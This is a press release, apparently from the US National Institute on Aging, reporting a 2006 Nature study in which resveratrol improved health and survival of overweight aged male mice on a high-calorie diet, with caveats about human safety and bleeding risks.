<p class="style1">Overweight aged male mice whose high calorie (fat) diet was supplemented by resveratrol, a natural compound found in common foods like grapes, wines and nuts, had better health and survival than aged overweight mice who did not receive it, according to a study published online in the Nov. 1 issue of <em>Nature.</em> The study was conducted and supported in part by the National Institute on Aging (NIA) of the National Institutes of Health (NIH).</p>
<p class="style1">The findings are the first to demonstrate that resveratrol, an activator of a family of enzymes called sirtuins, could affect the health and survival of mammals. The findings build upon previous research on resveratrol, a small molecule produced by certain plants in response to stress. Studies over the last few years have found that resveratrol can extend lifespan in yeast, worms, flies and fish.</p>
<p class="style1">The study was a collaborative effort between the laboratories of Rafael de Cabo, Ph.D., at the NIA, David A. Sinclair, Ph.D., at Harvard Medical School and an international group of researchers.</p>
<p class="style1">“There is currently intense interest in identifying interventions that can be applied to improve health and survival, especially as our society ages. Today’s basic science findings are a notable step in this effort,” notes Richard J. Hodes, M.D., director of the NIA. “At the same time, it should be cautioned that this is a study of male mice, and we still have much to learn about resveratrol’s safety and effectiveness in humans.”</p>
<p class="style1">The report describes the result of studies of year-old (middle-aged) mice placed on three different diets for six months: a standard mouse diet, a high calorie (fat) diet and a high calorie (fat) diet supplemented with resveratrol. After six months, the scientists observed a clear trend toward increased survival and insulin sensitivity (important for the body’s efficient processing of glucose into energy) in the high calorie diet supplemented with resveratrol relative to that seen on the high fat diet without resveratrol supplementation. In the study, resveratrol shifted the physiology of middle-aged mice on a high calorie diet towards that of mice on a standard diet and increased their survival.</p>
<p class="style1">The scientists reported that:</p>
<ul class="style1">
<li>At 60 weeks of age, the survival curves of the high calorie and the high calorie/resveratrol groups began to diverge, when the resveratrol group began to show a 3-4 month advantage in survival. As the mice aged, the trend continued.</li>
</ul>
<ul class="style1">
<li>At 114 weeks, when the mice reached old age, more than half of the high calorie mice died compared to less than a third of the high calorie mice receiving resveratrol. The overweight resveratrol-treated aged mice were healthier than the overweight mice that were not given resveratrol on a number of measures. For example, the untreated high calorie mice had increased plasma levels of insulin, glucose and insulin-like growth factor (IGF) 1 &#8212; markers that in humans predict the onset of diabetes &#8212; when compared with their overweight counterparts who did receive resveratrol.</li>
</ul>
<ul class="style1">
<li>Some of the health-related findings were most evident in the liver of the high calorie mice. At 18 months of age (six months into the study), the livers of the high calorie, untreated mice were twice the size and weight of those of the high calorie/resveratrol animals, whose livers were comparable to the mice on standard diets. The livers of the high calorie, resveratrol-treated mice were more normal on a cellular level as well. They had considerably more mitochondria (cell structures that metabolize glucose and other sugars) than those of the untreated high calorie group and resembled the levels of mice on the standard diet.</li>
</ul>
<ul class="style1">
<li>Gene expression analysis in livers of these aged and overweight mice indicated that resveratrol modified some of the known metabolic pathways that are also affected by caloric restriction. Pathways are a series of chemical reactions that take place in living tissue.</li>
</ul>
<ul class="style1">
<li>A test of motor function determined the effect of resveratrol on physical performance with age. Tests on a rotating device to measure balance and motor coordination showed that the resveratrol-fed overweight mice maintained their performance on one laboratory measure of motor skills.</li>
</ul>
<p class="style1">“After six months, resveratrol essentially prevented most of the negative effects of the high calorie diet,” de Cabo concludes. “There is a lot of work ahead that will help us better understand resveratrol’s roles and the best applications for it.”</p>
<p class="style1">De Cabo and Sinclair did not observe toxic effects of resveratrol on the mice at the doses studied. However, de Cabo emphasized, the safety and effectiveness of the substance for humans to address aging and age- or obesity-related conditions is far from demonstrated. Some contraindications are already known, including evidence from earlier animal studies that have shown high doses of resveratrol to affect blood platelets, which could increase the risk of bleeding when taken with anticoagulant, anti-platelet or nonsteroidal anti-inflammatory drugs.</p>
<p class="style1">In addition to scientists from the NIA and Harvard Medical School, researchers from the following institutions collaborated in this study: Pennington Biomedical Research Center in Baton Rouge, La., Harvard Medical School in Boston, Mass., the University of Sydney in Australia, Johns Hopkins University in Baltimore, Md., Universidad Pablo de Olavide in Sevilla, Spain, the Salk Institute in La Jolla, Calif., and Sirtris Pharmaceuticals of Cambridge, Mass., which is developing therapeutics to modulate sirtuins. Sirtris Pharmaceuticals was founded by Harvard University co-lead author David A. Sinclair.</p>
<p class="style1">De Cabo is a scientist in the NIA’s Intramural Research Program. In addition, the work was funded by grants from the NIA, the primary supporter of the work, as well as grants from the National Institute of General Medical Sciences and the National Institute of Diabetes and Digestive and Kidney Diseases at the NIH. The Ellison Medical Research Foundation, the American Heart Foundation, the Australian and Spanish governments, the American Diabetes Association and Paul F. Glenn and The Paul F. Glenn Laboratories for the Biological Mechanisms of Aging also provided support to members of the research team.</p>
<p class="style1">The NIA leads the federal effort supporting and conducting research on aging and the medical, social and behavioral issues of older people. For more information on research and aging, go to <span style="text-decoration: underline;"><a title="http://www.nia.nih.gov/" href="http://www.nia.nih.gov/"><span style="color: #800080;">www.nia.nih.gov</span></a></span>. Publications on research and on a variety of topics of interest on health and aging can be viewed and ordered by visiting the NIA Web site, or can be ordered by calling toll-free 1-800-222-2225.</p>
<p class="style1">The NIH — the nation&#8217;s medical research agency — includes 27 institutes and centers and is a component of the U. S. Department of Health and Human Services. It is the primary federal agency for conducting and supporting basic, clinical and translational medical research, and it investigates the causes, treatments, and cures for both common and rare diseases. For more information about NIH and its programs, visit <a title="http://www.nih.gov/" href="http://www.nih.gov/"><span style="color: #800080;">www.nih.gov</span></a>.</p>
<p class="style1" align="center">###</p>
<p class="style1"><span style="font-size: x-small;"><strong>Reference:</strong> Baur, J., Pearson, K <em>et al.</em> Resveratrol improves health and increases survival of mice on a high-calorie diet. <em>Nature</em> 2006. DOI 10.1038/nature05354</span></p>
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